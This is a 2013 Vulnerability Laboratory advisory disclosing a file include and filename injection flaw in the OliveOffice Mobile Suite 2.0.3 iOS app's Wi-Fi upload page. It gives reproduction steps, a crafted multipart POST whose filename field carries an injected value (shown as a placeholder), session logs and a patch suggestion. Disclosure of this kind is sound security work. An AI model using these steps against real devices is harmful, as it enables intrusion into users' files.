216 lines
8.5 KiB
Text
Executable file
216 lines
8.5 KiB
Text
Executable file
Document Title:
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===============
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OliveOffice Mobile Suite 2.0.3 iOS - File Include Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1110
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Release Date:
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=============
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2013-10-13
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1110
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Common Vulnerability Scoring System:
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====================================
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6.8
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Product & Service Introduction:
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===============================
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OliveOffice is a mobile office suit for iOS-based devices, which is integrated with Dropbox and GoogleDocs cloud service,
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providing the functionality of transferring files via Wi-Fi and allowing you to view, edit and manage all Microsoft? Office
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documents ANYTIME, from virtually ANYWHERE. Beyond that, OliveOffice is also the most pragmatic viewer with quite a lot of
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formats supported including .pdf, .mht, .odt, .chm, .txt, .rtf, .rar, .zip, .html and nearly all the picture formats.
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( Copy of the Homepage: https://itunes.apple.com/de/app/oliveoffice/id446296792 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered file include and a post inject vulnerability in the OliveOffice Mobile Suite v2.0.3 iOS web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2013-10-14: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Apple AppStore
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Product: OliveOffice Mobile Suite Application 2.0.3
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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A file include and a post inject vulnerability are detected in the OliveOffice Mobile Suite v2.0.3 iOS web-application.
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The file include web vulnerability allows remote attackers to inject files with malicious context via POST method.
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The vulnerability is located in the `Browse File Upload` module. Remote attackers are able to manipulate in the upload POST method
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request the filename value. The injected script code as filename executes in the index module file dir listing. In the exploitation
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phase the vulnerability allows an attacker to combine with script code inject with the file/path request.
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Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password.
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Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.
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Vulnerable Application(s):
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[+] OliveOffice Mobile Suite v2.0.3 - ITunes or AppStore (Apple)
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Request Method(s):
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[+] [POST]
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Vulnerable Module(s):
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[+] Browse File > Upload [POST]
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Vulnerable Parameter(s):
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[+] filename (name)
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Affected Module(s):
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[+] Index File Dir Listing (http://localhost:8080/)
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Proof of Concept (PoC):
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=======================
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The file include web vulnerability via POST request method can be exploited by remote attackers without privileged application
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user account and user interaction. For demonstration or reproduce ...
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Manual steps to reproduce ...
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1. Install the OliveOffice app by using the itunes and appstore
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2. Open the software and push the wifi button in the main menu
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3. Switch to your computer and open it local in the browser (standard:=localhost:8080)
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4. Start to tamper the session and include any random image via browse file + submit!
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5. Exchange the filename value in the POST method request with your own filename request or app path location
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6. Submit the request and refresh the wifi web interface to review the file dir index listing
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7. The manipulated context of the POST method request will be visible and the file include/inject was successful
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--- PoC Session Logs (POST & GET) ---
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Status: 200[OK]
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POST http://localhost:8080/
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Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
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Content Size[2035]
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Mime Type[application/x-unknown-content-type]
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Request Headers:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[en-US,en;q=0.5]
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Accept-Encoding[gzip, deflate]
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DNT[1]
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Referer[http://localhost:8080/]
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Connection[keep-alive]
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Post Data:
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POST_DATA[-----------------------------146512977425680
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Content-Disposition: form-data; name="file"; filename="<[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]">"
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Content-Type: image/png
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?PNG
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Status: 200[OK]
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GET http://localhost:8080/[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]
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Load Flags[LOAD_DOCUMENT_URI ]
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Content Size[1194] Mime Type[application/x-unknown-content-type]
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Request Headers:
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Host[localhost:8080]
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User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[en-US,en;q=0.5]
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Accept-Encoding[gzip, deflate]
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DNT[1]
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Referer[http://localhost:8080/]
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Connection[keep-alive]
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Response Headers:
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Accept-Ranges[bytes]
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Content-Length[1194]
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Date[So., 13 Okt. 2013 13:03:47 GMT]
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PoC: Index File Dir Listing
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<tr><td align="center" valign="middle" width="50"><img src="/~/file_item_other_ico.png" height="32" border="0" width="32"></td>
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<td align="left" valign="middle" width="*"><a href="<[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]"></a>
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(Size:51,78 Kb, Last Modified:2013-10-13 15:03:45)<br /></td></tr></tbody></table></div></div></div>
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<div class="footer"><div class="footer_text">Copyright ? 2008 OliveOffice, Inc.</div></div></body></html></iframe></a></td></tr>
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Solution - Fix & Patch:
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=======================
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The vulnerability can be patched by a filename input restriction when an user is processing to upload data.
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Also parse the file dir output listing in the index module to ensure the issue is patched.
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Security Risk:
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==============
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The security risk of the local file include and post inject web vulnerabilities are estimated as high.
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
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Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
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Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
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other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
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modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
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Copyright ? 2013 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com
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